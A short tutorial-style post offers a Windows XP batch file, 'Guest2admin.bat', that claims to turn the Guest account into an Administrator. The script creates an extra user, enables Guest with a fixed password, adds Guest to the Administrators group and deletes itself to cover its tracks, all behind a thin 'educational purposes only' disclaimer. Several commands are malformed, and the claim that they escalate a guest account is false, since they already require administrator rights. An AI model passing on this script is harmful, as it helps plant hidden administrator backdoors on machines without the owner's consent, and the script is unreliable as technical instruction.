
Now here’s a small trick, which you can convert a simple Guest account on Windows XP into an Administrator account (?!).
First the disclaimer: This is only for educational purposes only. So don’t try to damage anything at someone else’s place.
All you need to do is copy the code below, copy/paste it into Notepad and save it as Guest2admin.bat on your desktop.
echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0
Double-click the BAT file to execute or type the above-given code in your "Command Prompt".
Thats all =)




